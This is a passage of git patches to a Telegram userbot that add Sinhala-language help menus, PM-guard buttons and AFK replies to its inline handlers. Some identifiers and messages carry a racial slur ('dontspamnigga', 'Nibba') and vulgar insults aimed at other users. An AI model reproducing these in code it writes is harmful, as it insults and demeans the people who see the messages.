https://t.me/TelethonChat/115200 - await event.edit(buttons=buttons) - else: - reply_popp_up_alert = "ඔය මොකද කරන්නෙ, මේක ඔයාගෙ නෙමේ!" - await event.answer(reply_popp_up_alert, cache_time=0, alert=True) + async def on_plug_in_callback_query_handler(event): + if event.query.user_id == bot.uid: + current_page_number = int(event.data_match.group(1).decode("UTF-8")) + buttons = paginate_help(current_page_number + 1, CMD_HELP, "helpme") + # https://t.me/TelethonChat/115200 + await event.edit(buttons=buttons) + else: + reply_popp_up_alert = "ඔය මොකද කරන්නෙ, මේක ඔයාගෙ නෙමේ!" + await event.answer(reply_popp_up_alert, cache_time=0, alert=True) -@tgbot.on( - events.callbackquery.CallbackQuery( # pylint:disable=E0602 - data=re.compile(b"helpme_prev\((.+?)\)") - ) -) -async def on_plug_in_callback_query_handler(event): - if event.query.user_id == bot.uid: # pylint:disable=E0602 - current_page_number = int(event.data_match.group(1).decode("UTF-8")) - buttons = paginate_help( - current_page_number - 1, CMD_HELP, "helpme" # pylint:disable=E0602 + @tgbot.on( + events.callbackquery.CallbackQuery( # pylint:disable=E0602 + data=re.compile(b"helpme_prev\((.+?)\)") ) - # https://t.me/TelethonChat/115200 - await event.edit(buttons=buttons) - else: - reply_pop_up_alert = "මොන පිස්සෙක්ද තෝ? උඹටම කියල බොටෙක් හදාගනිම්.!" - await event.answer(reply_pop_up_alert, cache_time=0, alert=True) + ) + async def on_plug_in_callback_query_handler(event): + if event.query.user_id == bot.uid: # pylint:disable=E0602 + current_page_number = int(event.data_match.group(1).decode("UTF-8")) + buttons = paginate_help( + current_page_number - 1, CMD_HELP, "helpme" # pylint:disable=E0602 + ) + # https://t.me/TelethonChat/115200 + await event.edit(buttons=buttons) + else: + reply_pop_up_alert = "මොන පිස්සෙක්ද තෝ? උඹටම කියල බොටෙක් හදාගනිම්.!" + await event.answer(reply_pop_up_alert, cache_time=0, alert=True) -@tgbot.on( - events.callbackquery.CallbackQuery( # pylint:disable=E0602 - data=re.compile(b"us_plugin_(.*)") - ) -) -async def on_plug_in_callback_query_handler(event): - if not event.query.user_id == bot.uid: - sedok = "මොන පිස්සෙක්ද තෝ? උඹටම කියල බොටෙක් හදාගනිම්." - await event.answer(sedok, cache_time=0, alert=True) - return - plugin_name = event.data_match.group(1).decode("UTF-8") - if plugin_name in CMD_HELP: - help_string = f"**🦹‍♀️ PLUGIN NAME 🦹‍♀️ :** `{plugin_name}` \n{CMD_HELP[plugin_name]}" - reply_pop_up_alert = help_string - reply_pop_up_alert += "\n\n**(C) @VirtualUserbot ** ".format(plugin_name) - if len(reply_pop_up_alert) >= 4096: - crackexy = "`Pasting Your Help Menu.`" - await event.answer(crackexy, cache_time=0, alert=True) - out_file = reply_pop_up_alert - url = "https://del.dog/documents" - r = requests.post(url, data=out_file.encode("UTF-8")).json() - url = f"https://del.dog/{r['key']}" - await event.edit( - f"Pasted {plugin_name} to {url}", - link_preview=False, - buttons=[[custom.Button.inline("Go Back", data="backme")]], + @tgbot.on( + events.callbackquery.CallbackQuery( # pylint:disable=E0602 + data=re.compile(b"us_plugin_(.*)") ) - else: - await event.edit( - message=reply_pop_up_alert, - buttons=[[custom.Button.inline("Go Back", data="backme")]], + ) + async def on_plug_in_callback_query_handler(event): + if not event.query.user_id == bot.uid: + sedok = "මොන පිස්සෙක්ද තෝ? උඹටම කියල බොටෙක් හදාගනිම්." + await event.answer(sedok, cache_time=0, alert=True) + return + plugin_name = event.data_match.group(1).decode("UTF-8") + if plugin_name in CMD_HELP: + help_string = f"**🦹‍♀️ PLUGIN NAME 🦹‍♀️ :** `{plugin_name}` \n{CMD_HELP[plugin_name]}" + reply_pop_up_alert = help_string + reply_pop_up_alert += "\n\n**(C) @VirtualUserbot ** ".format(plugin_name) + if len(reply_pop_up_alert) >= 4096: + crackexy = "`Pasting Your Help Menu.`" + await event.answer(crackexy, cache_time=0, alert=True) + out_file = reply_pop_up_alert + url = "https://del.dog/documents" + r = requests.post(url, data=out_file.encode("UTF-8")).json() + url = f"https://del.dog/{r['key']}" + await event.edit( + f"Pasted {plugin_name} to {url}", + link_preview=False, + buttons=[[custom.Button.inline("Go Back", data="backme")]], + ) + else: + await event.edit( + message=reply_pop_up_alert, + buttons=[[custom.Button.inline("Go Back", data="backme")]], + ) + + + @tgbot.on(events.callbackquery.CallbackQuery(data=re.compile(b"terminator"))) + async def rip(event): + if event.query.user_id == bot.uid: + text = inlinestats + await event.answer(text, alert=True) + else: + txt = "You Can't View My Masters Stats" + await event.answer(txt, alert=True) + + + + @tgbot.on(events.callbackquery.CallbackQuery(data=re.compile(b"yt_dl_(.*)"))) + async def rip(event): + yt_dl_data = event.data_match.group(1).decode("UTF-8") + link_s = yt_dl_data + if event.query.user_id != bot.uid: + text = f"Please Get Your Own VirtualUserbot And Don't Waste My Resources" + await event.answer(text, alert=True) + return + is_it = True + ok = await _ytdl(link_s, is_it, event, tgbot) + + @tgbot.on(events.callbackquery.CallbackQuery(data=re.compile(b"ph_dl_(.*)"))) + async def rip(event): + link_s = event.pattern_match.group(1) + if event.query.user_id != bot.uid: + text = f"Please Get Your Own VirtualUserbot And Don't Waste My Resources." + await event.answer(text, alert=True) + return + ok = await _phdl(link_s, event, tgbot) + + + + @tgbot.on(events.callbackquery.CallbackQuery(data=re.compile(b"dontspamnigga"))) + async def rip(event): + if event.query.user_id == bot.uid: + sedok = "Master, You Don't Need To Use This." + await event.answer(sedok, cache_time=0, alert=True) + return + await event.get_chat() + him_id = event.query.user_id + text1 = "ඔයා ඇවිත් තියෙන්නෙ හොඳ දේකට නෙමේ.. ඔයා තෝරපු එක පිළිගන්න බෑ.. ඒක නිසා ඔයාව Block කරනවා" + await event.edit("ඔයා තෝරපු එක පිළිගන්න බෑ ❌") + await borg.send_message(event.query.user_id, text1) + await borg(functions.contacts.BlockRequest(event.query.user_id)) + await tgbot.send_message( + LOG_CHAT, + f"ආයුබෝවන්, මෝඩ [පකයා](tg://user?id={him_id}) තහන්ම් එකක් තෝරපු නිසා Block කරා", ) -@tgbot.on(events.callbackquery.CallbackQuery(data=re.compile(b"terminator"))) -async def rip(event): - if event.query.user_id == bot.uid: - text = inlinestats - await event.answer(text, alert=True) - else: - txt = "You Can't View My Masters Stats" - await event.answer(txt, alert=True) + @tgbot.on(events.callbackquery.CallbackQuery(data=re.compile(b"backme"))) + async def sed(event): + if event.query.user_id != bot.uid: + sedok = "මොන පිස්සෙක්ද තෝ? උඹටම කියල බොටෙක් හදාගනිම්." + await event.answer(sedok, cache_time=0, alert=True) + return + await event.answer("Back", cache_time=0, alert=False) + # This Is Copy of Above Code. (C) @SpEcHiDe + buttons = paginate_help(0, CMD_HELP, "helpme") + sed = f"""VirtualUserbot Modules Are Listed Here !\n + For More Help or Support contact {DEFAULTUSER} \nCurrently Loaded Plugins: {len(CMD_LIST)}""" + await event.edit(message=sed, buttons=buttons) + + + @tgbot.on(events.callbackquery.CallbackQuery(data=re.compile(b"whattalk"))) + async def rip(event): + if event.query.user_id == bot.uid: + sedok = "Master, You Don't Need To Use This." + await event.answer(sedok, cache_time=0, alert=True) + return + await event.get_chat() + him_id = event.query.user_id + await event.edit("ඔයා තෝරපු එක මම පිළිගන්නවා ✔️") + text2 = "හරි දැන් මගේ අයිතිකාරයා ඔයාට මැසේජ් එකක් දානකන් ටිකක් ඉවසල ඉන්න. \nගොඩාක් ස්තූතී මැසේජ් කරාට." + await borg.send_message(event.query.user_id, text2) + await tgbot.send_message( + LOG_CHAT, + message=f"Hello, A [New User](tg://user?id={him_id}). Wants To Talk With You.", + buttons=[Button.url("Contact Him", f"tg://user?id={him_id}")], + ) + @tgbot.on(events.callbackquery.CallbackQuery(data=re.compile(b"askme"))) + async def rip(event): + if event.query.user_id == bot.uid: + sedok = "Master, You Don't Need To Use This." + await event.answer(sedok, cache_time=0, alert=True) + return + await event.get_chat() + him_id = event.query.user_id + await event.edit("ඔයා තෝරපු එක මම පිළිගන්නවා ✔️") + text3 = "හරි දැන් මගේ අයිතිකාරයා ඔයාට මැසේජ් එකක් දානකන් ටිකක් ඉවසල ඉන්න. \nගොඩාක් ස්තූතී මැසේජ් කරාට." + await borg.send_message(event.query.user_id, text3) + await tgbot.send_message( + LOG_CHAT, + message=f"Hello, A [New User](tg://user?id={him_id}). Wants To Ask You Something.", + buttons=[Button.url("Contact Him", f"tg://user?id={him_id}")], + ) -@tgbot.on(events.callbackquery.CallbackQuery(data=re.compile(b"yt_dl_(.*)"))) -async def rip(event): - yt_dl_data = event.data_match.group(1).decode("UTF-8") - link_s = yt_dl_data - if event.query.user_id != bot.uid: - text = f"Please Get Your Own VirtualUserbot And Don't Waste My Resources" - await event.answer(text, alert=True) - return - is_it = True - ok = await _ytdl(link_s, is_it, event, tgbot) + @tgbot.on(events.callbackquery.CallbackQuery(data=re.compile(b"close"))) + async def on_plug_in_callback_query_handler(event): + if event.query.user_id == bot.uid: + await event.edit("menu closed") + else: + reply_pop_up_alert = "මොන පිස්සෙක්ද තෝ? උඹටම කියල බොටෙක් හදාගනිම්. " + await event.answer(reply_pop_up_alert, cache_time=0, alert=True) + + + def paginate_help(page_number, loaded_modules, prefix): + number_of_rows = 8 + number_of_cols = 2 + helpable_modules = [] + for p in loaded_modules: + if not p.startswith("_"): + helpable_modules.append(p) + helpable_modules = sorted(helpable_modules) + modules = [ + custom.Button.inline( + "{} {} {}".format("🀄️", x, "🀄️"), data="us_plugin_{}".format(x) + ) + for x in helpable_modules + ] + pairs = list(zip(modules[::number_of_cols], modules[1::number_of_cols])) + if len(modules) % number_of_cols == 1: + pairs.append((modules[-1],)) + max_num_pages = ceil(len(pairs) / number_of_rows) + modulo_page = page_number % max_num_pages + if len(pairs) > number_of_rows: + pairs = pairs[ + modulo_page * number_of_rows : number_of_rows * (modulo_page + 1) + ] + [ + ( + custom.Button.inline( + "⏪ Previous", data="{}_prev({})".format(prefix, modulo_page) + ), + custom.Button.inline("Close", data="close"), + custom.Button.inline( + "Next ⏩", data="{}_next({})".format(prefix, modulo_page) + ), + ) + ] + return pairs -@tgbot.on(events.callbackquery.CallbackQuery(data=re.compile(b"ph_dl_(.*)"))) -async def rip(event): - link_s = event.pattern_match.group(1) - if event.query.user_id != bot.uid: - text = f"Please Get Your Own VirtualUserbot And Don't Waste My Resources." - await event.answer(text, alert=True) - return - ok = await _phdl(link_s, event, tgbot) +else: + @tgbot.on(events.InlineQuery) + async def inline_handler(event): + builder = event.builder + result = None + query = event.text + if event.query.user_id == bot.uid and query.startswith("VirtualUserbot"): + rev_text = query[::-1] + buttons = paginate_help(0, CMD_HELP, "helpme") + result = builder.article( + "© Userbot Help", + text="{}\nCurrently Loaded Plugins: {}".format(query, len(CMD_LIST)), + buttons=buttons, + link_preview=False, + ) + await event.answer([result]) + elif event.query.user_id == bot.uid and query == "stats": + result = builder.article( + title="Stats", + text=f"**Showing Stats For {DEFAULTUSER}'s VirualUserbot** \nNote --> Only Owner Can Check This \n(C) @VirtualUserbot", + buttons=[ + [custom.Button.inline("Show Stats ?", data="terminator")], + [Button.url("Repo Here", "https://github.com/inukaasith/virtualuserbot")], + [Button.url("Join Channel ❤️", "t.me/infinity_bots")], + ], + ) + await event.answer([result]) + elif event.query.user_id == bot.uid and query.startswith("**Hello"): + result = builder.photo( + file=WARN_PIC, + text=query, + buttons=[ + [custom.Button.inline("Spamming", data="dontspamnigga")], + [ + custom.Button.inline( + "Casual Talk", + data="whattalk", + ) + ], + [custom.Button.inline("Requesting", data="askme")], + ], + ) + await event.answer([result]) - -@tgbot.on(events.callbackquery.CallbackQuery(data=re.compile(b"dontspamnigga"))) -async def rip(event): - if event.query.user_id == bot.uid: - sedok = "Master, You Don't Need To Use This." - await event.answer(sedok, cache_time=0, alert=True) - return - await event.get_chat() - him_id = event.query.user_id - text1 = "ඔයා ඇවිත් තියෙන්නෙ හොඳ දේකට නෙමේ.. ඔයා තෝරපු එක පිළිගන්න බෑ.. ඒක නිසා ඔයාව Block කරනවා" - await event.edit("ඔයා තෝරපු එක පිළිගන්න බෑ ❌") - await borg.send_message(event.query.user_id, text1) - await borg(functions.contacts.BlockRequest(event.query.user_id)) - await tgbot.send_message( - LOG_CHAT, - f"ආයුබෝවන්, මෝඩ [පකයා](tg://user?id={him_id}) තහන්ම් එකක් තෝරපු නිසා Block කරා", + @tgbot.on( + events.callbackquery.CallbackQuery( # pylint:disable=E0602 + data=re.compile(b"helpme_next\((.+?)\)") + ) ) + async def on_plug_in_callback_query_handler(event): + if event.query.user_id == bot.uid: + current_page_number = int(event.data_match.group(1).decode("UTF-8")) + buttons = paginate_help(current_page_number + 1, CMD_HELP, "helpme") + # https://t.me/TelethonChat/115200 + await event.edit(buttons=buttons) + else: + reply_popp_up_alert = "Please get your own Userbot, and don't use mine!" + await event.answer(reply_popp_up_alert, cache_time=0, alert=True) -@tgbot.on(events.callbackquery.CallbackQuery(data=re.compile(b"backme"))) -async def sed(event): - if event.query.user_id != bot.uid: - sedok = "මොන පිස්සෙක්ද තෝ? උඹටම කියල බොටෙක් හදාගනිම්." - await event.answer(sedok, cache_time=0, alert=True) - return - await event.answer("Back", cache_time=0, alert=False) - # This Is Copy of Above Code. (C) @SpEcHiDe - buttons = paginate_help(0, CMD_HELP, "helpme") - sed = f"""VirtualUserbot Modules Are Listed Here !\n -For More Help or Support contact {DEFAULTUSER} \nCurrently Loaded Plugins: {len(CMD_LIST)}""" - await event.edit(message=sed, buttons=buttons) - - -@tgbot.on(events.callbackquery.CallbackQuery(data=re.compile(b"whattalk"))) -async def rip(event): - if event.query.user_id == bot.uid: - sedok = "Master, You Don't Need To Use This." - await event.answer(sedok, cache_time=0, alert=True) - return - await event.get_chat() - him_id = event.query.user_id - await event.edit("ඔයා තෝරපු එක මම පිළිගන්නවා ✔️") - text2 = "හරි දැන් මගේ අයිතිකාරයා ඔයාට මැසේජ් එකක් දානකන් ටිකක් ඉවසල ඉන්න. \nගොඩාක් ස්තූතී මැසේජ් කරාට." - await borg.send_message(event.query.user_id, text2) - await tgbot.send_message( - LOG_CHAT, - message=f"Hello, A [New User](tg://user?id={him_id}). Wants To Talk With You.", - buttons=[Button.url("Contact Him", f"tg://user?id={him_id}")], + @tgbot.on( + events.callbackquery.CallbackQuery( # pylint:disable=E0602 + data=re.compile(b"helpme_prev\((.+?)\)") + ) ) + async def on_plug_in_callback_query_handler(event): + if event.query.user_id == bot.uid: # pylint:disable=E0602 + current_page_number = int(event.data_match.group(1).decode("UTF-8")) + buttons = paginate_help( + current_page_number - 1, CMD_HELP, "helpme" # pylint:disable=E0602 + ) + # https://t.me/TelethonChat/115200 + await event.edit(buttons=buttons) + else: + reply_pop_up_alert = "Please get your own Userbot, and don't use mine!" + await event.answer(reply_pop_up_alert, cache_time=0, alert=True) -@tgbot.on(events.callbackquery.CallbackQuery(data=re.compile(b"askme"))) -async def rip(event): - if event.query.user_id == bot.uid: - sedok = "Master, You Don't Need To Use This." - await event.answer(sedok, cache_time=0, alert=True) - return - await event.get_chat() - him_id = event.query.user_id - await event.edit("ඔයා තෝරපු එක මම පිළිගන්නවා ✔️") - text3 = "හරි දැන් මගේ අයිතිකාරයා ඔයාට මැසේජ් එකක් දානකන් ටිකක් ඉවසල ඉන්න. \nගොඩාක් ස්තූතී මැසේජ් කරාට." - await borg.send_message(event.query.user_id, text3) - await tgbot.send_message( - LOG_CHAT, - message=f"Hello, A [New User](tg://user?id={him_id}). Wants To Ask You Something.", - buttons=[Button.url("Contact Him", f"tg://user?id={him_id}")], + @tgbot.on( + events.callbackquery.CallbackQuery( # pylint:disable=E0602 + data=re.compile(b"us_plugin_(.*)") + ) ) + async def on_plug_in_callback_query_handler(event): + if not event.query.user_id == bot.uid: + sedok = "Who The Fuck Are You? Get Your Own Friday." + await event.answer(sedok, cache_time=0, alert=True) + return + plugin_name = event.data_match.group(1).decode("UTF-8") + if plugin_name in CMD_HELP: + help_string = f"**🦹‍♀️ PLUGIN NAME 🦹‍♀️ :** `{plugin_name}` \n{CMD_HELP[plugin_name]}" + reply_pop_up_alert = help_string + reply_pop_up_alert += "\n\n**(C) @VirtualUserbot** ".format(plugin_name) + if len(reply_pop_up_alert) >= 4096: + crackexy = "`Pasting Your Help Menu.`" + await event.answer(crackexy, cache_time=0, alert=True) + out_file = reply_pop_up_alert + url = "https://del.dog/documents" + r = requests.post(url, data=out_file.encode("UTF-8")).json() + url = f"https://del.dog/{r['key']}" + await event.edit( + f"Pasted {plugin_name} to {url}", + link_preview=False, + buttons=[[custom.Button.inline("Go Back", data="backme")]], + ) + else: + await event.edit( + message=reply_pop_up_alert, + buttons=[[custom.Button.inline("Go Back", data="backme")]], + ) -@tgbot.on(events.callbackquery.CallbackQuery(data=re.compile(b"close"))) -async def on_plug_in_callback_query_handler(event): - if event.query.user_id == bot.uid: - await event.edit("menu closed") - else: - reply_pop_up_alert = "මොන පිස්සෙක්ද තෝ? උඹටම කියල බොටෙක් හදාගනිම්. " - await event.answer(reply_pop_up_alert, cache_time=0, alert=True) - -def paginate_help(page_number, loaded_modules, prefix): - number_of_rows = 8 - number_of_cols = 2 - helpable_modules = [] - for p in loaded_modules: - if not p.startswith("_"): - helpable_modules.append(p) - helpable_modules = sorted(helpable_modules) - modules = [ - custom.Button.inline( - "{} {} {}".format("🀄️", x, "🀄️"), data="us_plugin_{}".format(x) + @tgbot.on(events.callbackquery.CallbackQuery(data=re.compile(b"terminator"))) + async def rip(event): + if event.query.user_id == bot.uid: + text = inlinestats + await event.answer(text, alert=True) + else: + txt = "You Can't View My Masters Stats" + await event.answer(txt, alert=True) + + @tgbot.on(events.callbackquery.CallbackQuery(data=re.compile(b"yt_dl_(.*)"))) + async def rip(event): + yt_dl_data = event.data_match.group(1).decode("UTF-8") + link_s = yt_dl_data + if event.query.user_id != bot.uid: + text = f"Please Get Your Own VirtualUserbot And Don't Waste My Resources" + await event.answer(text, alert=True) + return + is_it = True + ok = await _ytdl(link_s, is_it, event, tgbot) + + @tgbot.on(events.callbackquery.CallbackQuery(data=re.compile(b"ph_dl_(.*)"))) + async def rip(event): + link_s = event.pattern_match.group(1) + if event.query.user_id != bot.uid: + text = f"Please Get Your Own VirtualUserbot And Don't Waste My Resources." + await event.answer(text, alert=True) + return + ok = await _phdl(link_s, event, tgbot) + + @tgbot.on(events.callbackquery.CallbackQuery(data=re.compile(b"dontspamnigga"))) + async def rip(event): + if event.query.user_id == bot.uid: + sedok = "Master, You Don't Need To Use This." + await event.answer(sedok, cache_time=0, alert=True) + return + await event.get_chat() + him_id = event.query.user_id + text1 = "You Have Chosed A Probhited Option. Therefore, You Have Been Blocked" + await event.edit("Choice Not Accepted ❌") + await borg.send_message(event.query.user_id, text1) + await borg(functions.contacts.BlockRequest(event.query.user_id)) + await tgbot.send_message( + LOG_CHAT, + f"Hello, A Noob [Nibba](tg://user?id={him_id}) Selected Probhited Option, Therefore Blocked.", ) - for x in helpable_modules - ] - pairs = list(zip(modules[::number_of_cols], modules[1::number_of_cols])) - if len(modules) % number_of_cols == 1: - pairs.append((modules[-1],)) - max_num_pages = ceil(len(pairs) / number_of_rows) - modulo_page = page_number % max_num_pages - if len(pairs) > number_of_rows: - pairs = pairs[ - modulo_page * number_of_rows : number_of_rows * (modulo_page + 1) - ] + [ - ( - custom.Button.inline( - "⏪ Previous", data="{}_prev({})".format(prefix, modulo_page) - ), - custom.Button.inline("Close", data="close"), - custom.Button.inline( - "Next ⏩", data="{}_next({})".format(prefix, modulo_page) - ), + + + @tgbot.on(events.callbackquery.CallbackQuery(data=re.compile(b"backme"))) + async def sed(event): + if event.query.user_id != bot.uid: + sedok = "Who The Fuck Are You? Get Your Own bot." + await event.answer(sedok, cache_time=0, alert=True) + return + await event.answer("Back", cache_time=0, alert=False) + # This Is Copy of Above Code. (C) @SpEcHiDe + buttons = paginate_help(0, CMD_HELP, "helpme") + sed = f"""VirtualUserbot Userbot Modules Are Listed Here !\n + For More Help or Support contact {DEFAULTUSER} \nCurrently Loaded Plugins: {len(CMD_LIST)}""" + await event.edit(message=sed, buttons=buttons) + + + @tgbot.on(events.callbackquery.CallbackQuery(data=re.compile(b"whattalk"))) + async def rip(event): + if event.query.user_id == bot.uid: + sedok = "Master, You Don't Need To Use This." + await event.answer(sedok, cache_time=0, alert=True) + return + await event.get_chat() + him_id = event.query.user_id + await event.edit("Your Choice Accepted ✔️") + text2 = "Ok. Please Wait Until My Master will Approve you soon. Don't Spam Or Try Anything Stupid. \nThank You For Contacting Me." + await borg.send_message(event.query.user_id, text2) + await tgbot.send_message( + LOG_CHAT, + message=f"Hello, A [New User](tg://user?id={him_id}). Wants To Talk With You.", + buttons=[Button.url("Contact Him", f"tg://user?id={him_id}")], + ) + + + @tgbot.on(events.callbackquery.CallbackQuery(data=re.compile(b"askme"))) + async def rip(event): + if event.query.user_id == bot.uid: + sedok = "Master, You Don't Need To Use This." + await event.answer(sedok, cache_time=0, alert=True) + return + await event.get_chat() + him_id = event.query.user_id + await event.edit("CYour hoice is Accepted ✔️") + text3 = "Ok, Wait. My Master will reply you soon. Kindly, Wait." + await borg.send_message(event.query.user_id, text3) + await tgbot.send_message( + LOG_CHAT, + message=f"Hello, A [New User](tg://user?id={him_id}). Wants To Ask You Something.", + buttons=[Button.url("Contact Him", f"tg://user?id={him_id}")], + ) + + @tgbot.on(events.callbackquery.CallbackQuery(data=re.compile(b"close"))) + async def on_plug_in_callback_query_handler(event): + if event.query.user_id == bot.uid: + await event.edit("menu closed") + else: + reply_pop_up_alert = "WTF are you Doing.. " + await event.answer(reply_pop_up_alert, cache_time=0, alert=True) + + + def paginate_help(page_number, loaded_modules, prefix): + number_of_rows = 8 + number_of_cols = 2 + helpable_modules = [] + for p in loaded_modules: + if not p.startswith("_"): + helpable_modules.append(p) + helpable_modules = sorted(helpable_modules) + modules = [ + custom.Button.inline( + "{} {} {}".format("🀄️", x, "🀄️"), data="us_plugin_{}".format(x) ) + for x in helpable_modules ] - return pairs - + pairs = list(zip(modules[::number_of_cols], modules[1::number_of_cols])) + if len(modules) % number_of_cols == 1: + pairs.append((modules[-1],)) + max_num_pages = ceil(len(pairs) / number_of_rows) + modulo_page = page_number % max_num_pages + if len(pairs) > number_of_rows: + pairs = pairs[ + modulo_page * number_of_rows : number_of_rows * (modulo_page + 1) + ] + [ + ( + custom.Button.inline( + "⏪ Previous", data="{}_prev({})".format(prefix, modulo_page) + ), + custom.Button.inline("Close", data="close"), + custom.Button.inline( + "Next ⏩", data="{}_next({})".format(prefix, modulo_page) + ), + ) + ] + return pairs + + + + + + @tgbot.on(events.InlineQuery(pattern=r"torrent (.*)")) async def inline_id_handler(event: events.InlineQuery.Event): builder = event.builder From 90e798363e62d18d5064d32434478cfe0653a4cb Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Wed, 6 Jan 2021 23:34:14 +0530 Subject: [PATCH 362/838] Update __init__.py --- fridaybot/__init__.py | 1 + 1 file changed, 1 insertion(+) diff --git a/fridaybot/__init__.py b/fridaybot/__init__.py index e737dbf3..89b85006 100644 --- a/fridaybot/__init__.py +++ b/fridaybot/__init__.py @@ -121,6 +121,7 @@ # Default .alive name ALIVE_NAME = os.environ.get("ALIVE_NAME", None) + lang = os.environ.get("lang", "si") LESS_SPAMMY = os.environ.get("LESS_SPAMMY", True) From 8ea3b08a0455f9704d4c002bff4dcaa41fea5ac5 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Wed, 6 Jan 2021 23:34:41 +0530 Subject: [PATCH 363/838] Update Configs.py --- fridaybot/Configs.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/fridaybot/Configs.py b/fridaybot/Configs.py index 3bcf5a87..36e043e8 100644 --- a/fridaybot/Configs.py +++ b/fridaybot/Configs.py @@ -135,7 +135,7 @@ class Config(object): MONGO_URI = os.environ.get("MONGO_URI", None) # Lydia API LYDIA_API = os.environ.get("LYDIA_API", None) - lang = os.environ.get("lang", "si") + PRIVATE_GROUP_ID = int(os.environ.get("PRIVATE_GROUP_ID", False)) PLUGIN_CHANNEL = int(os.environ.get("PLUGIN_CHANNEL", False)) SUB_TO_MSG_ASSISTANT = os.environ.get("SUB_TO_MSG_ASSISTANT", False) From 9804547339ecdbd17ce33bcc40613ce8d5b3a238 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Wed, 6 Jan 2021 23:42:08 +0530 Subject: [PATCH 364/838] Update afk.py --- fridaybot/modules/afk.py | 430 ++++++++++++++++++++++++++------------- 1 file changed, 292 insertions(+), 138 deletions(-) diff --git a/fridaybot/modules/afk.py b/fridaybot/modules/afk.py index 2874c4e9..c001358a 100644 --- a/fridaybot/modules/afk.py +++ b/fridaybot/modules/afk.py @@ -7,7 +7,7 @@ from telethon import events from telethon.tl import functions, types -from fridaybot import CMD_HELP +from fridaybot import CMD_HELP, lang global USER_AFK # pylint:disable=E0602 global afk_time # pylint:disable=E0602 @@ -19,154 +19,308 @@ last_afk_message = {} afk_start = {} +if lang == "si": -@friday.on( - events.NewMessage(pattern=r"\.afk ?(.*)", outgoing=True) -) # pylint:disable=E0602 -async def _(event): - if event.fwd_from: - return - global USER_AFK # pylint:disable=E0602 - global afk_time # pylint:disable=E0602 - global last_afk_message # pylint:disable=E0602 - global afk_start - global afk_end - global reason - USER_AFK = {} - afk_time = None - last_afk_message = {} - afk_end = {} - start_1 = datetime.now() - afk_start = start_1.replace(microsecond=0) - reason = event.pattern_match.group(1) - if not USER_AFK: # pylint:disable=E0602 - last_seen_status = await borg( # pylint:disable=E0602 - functions.account.GetPrivacyRequest(types.InputPrivacyKeyStatusTimestamp()) - ) - if isinstance(last_seen_status.rules, types.PrivacyValueAllowAll): - afk_time = datetime.datetime.now() # pylint:disable=E0602 - USER_AFK = f"yes: {reason}" # pylint:disable=E0602 - if reason: - await borg.send_message( - event.chat_id, - f"**මම දැන් Offline යනවා 👀.** \n__Offline යන්න හේතුව__ `{reason}`", + @friday.on( + events.NewMessage(pattern=r"\.afk ?(.*)", outgoing=True) + ) # pylint:disable=E0602 + async def _(event): + if event.fwd_from: + return + global USER_AFK # pylint:disable=E0602 + global afk_time # pylint:disable=E0602 + global last_afk_message # pylint:disable=E0602 + global afk_start + global afk_end + global reason + USER_AFK = {} + afk_time = None + last_afk_message = {} + afk_end = {} + start_1 = datetime.now() + afk_start = start_1.replace(microsecond=0) + reason = event.pattern_match.group(1) + if not USER_AFK: # pylint:disable=E0602 + last_seen_status = await borg( # pylint:disable=E0602 + functions.account.GetPrivacyRequest(types.InputPrivacyKeyStatusTimestamp()) ) - else: - await borg.send_message(event.chat_id, f"**මම දැන් Busy ඒක නිසා Offline යනවා**.") - await asyncio.sleep(5) - await event.delete() - try: - await borg.send_message( # pylint:disable=E0602 - Config.PRIVATE_GROUP_ID, # pylint:disable=E0602 - f"#AfkLogger Afk Is Active And Reason is {reason}", + if isinstance(last_seen_status.rules, types.PrivacyValueAllowAll): + afk_time = datetime.datetime.now() # pylint:disable=E0602 + USER_AFK = f"yes: {reason}" # pylint:disable=E0602 + if reason: + await borg.send_message( + event.chat_id, + f"**මම දැන් Offline යනවා 👀.** \n__Offline යන්න හේතුව__ `{reason}`", + ) + else: + await borg.send_message(event.chat_id, f"**මම දැන් Busy ඒක නිසා Offline යනවා**.") + await asyncio.sleep(5) + await event.delete() + try: + await borg.send_message( # pylint:disable=E0602 + Config.PRIVATE_GROUP_ID, # pylint:disable=E0602 + f"#AfkLogger Afk Is Active And Reason is {reason}", + ) + except Exception as e: # pylint:disable=C0103,W0703 + logger.warn(str(e)) # pylint:disable=E0602 + + + @friday.on(events.NewMessage(outgoing=True)) # pylint:disable=E0602 + async def set_not_afk(event): + global USER_AFK # pylint:disable=E0602 + global afk_time # pylint:disable=E0602 + global last_afk_message # pylint:disable=E0602 + global afk_start + global afk_end + back_alive = datetime.now() + afk_end = back_alive.replace(microsecond=0) + if afk_start != {}: + total_afk_time = str((afk_end - afk_start)) + current_message = event.message.message + if ".afk" not in current_message and "yes" in USER_AFK: # pylint:disable=E0602 + shite = await borg.send_message( + event.chat_id, + "__Pro is Back Alive__\n**තව දුරටත් Offline නෙමෙයි.**\n `මම Offline හිටිය කාලය :``" + + total_afk_time + + "`", ) - except Exception as e: # pylint:disable=C0103,W0703 - logger.warn(str(e)) # pylint:disable=E0602 - - -@friday.on(events.NewMessage(outgoing=True)) # pylint:disable=E0602 -async def set_not_afk(event): - global USER_AFK # pylint:disable=E0602 - global afk_time # pylint:disable=E0602 - global last_afk_message # pylint:disable=E0602 - global afk_start - global afk_end - back_alive = datetime.now() - afk_end = back_alive.replace(microsecond=0) - if afk_start != {}: - total_afk_time = str((afk_end - afk_start)) - current_message = event.message.message - if ".afk" not in current_message and "yes" in USER_AFK: # pylint:disable=E0602 - shite = await borg.send_message( - event.chat_id, - "__Pro is Back Alive__\n**තව දුරටත් Offline නෙමෙයි.**\n `මම Offline හිටිය කාලය :``" - + total_afk_time - + "`", + try: + await borg.send_message( # pylint:disable=E0602 + Config.PRIVATE_GROUP_ID, # pylint:disable=E0602 + "#AfkLogger User is Back Alive ! No Longer Afk ", + ) + except Exception as e: # pylint:disable=C0103,W0703 + await borg.send_message( # pylint:disable=E0602 + event.chat_id, + "Please set `PRIVATE_GROUP_ID` " + + "for the proper functioning of afk functionality " + + "Please Seek Support in @FridayOT\n\n `{}`".format(str(e)), + reply_to=event.message.id, + silent=True, + ) + await asyncio.sleep(5) + await shite.delete() + USER_AFK = {} # pylint:disable=E0602 + afk_time = None # pylint:disable=E0602 + + + @friday.on( + events.NewMessage( # pylint:disable=E0602 + incoming=True, func=lambda e: bool(e.mentioned or e.is_private) ) - try: - await borg.send_message( # pylint:disable=E0602 - 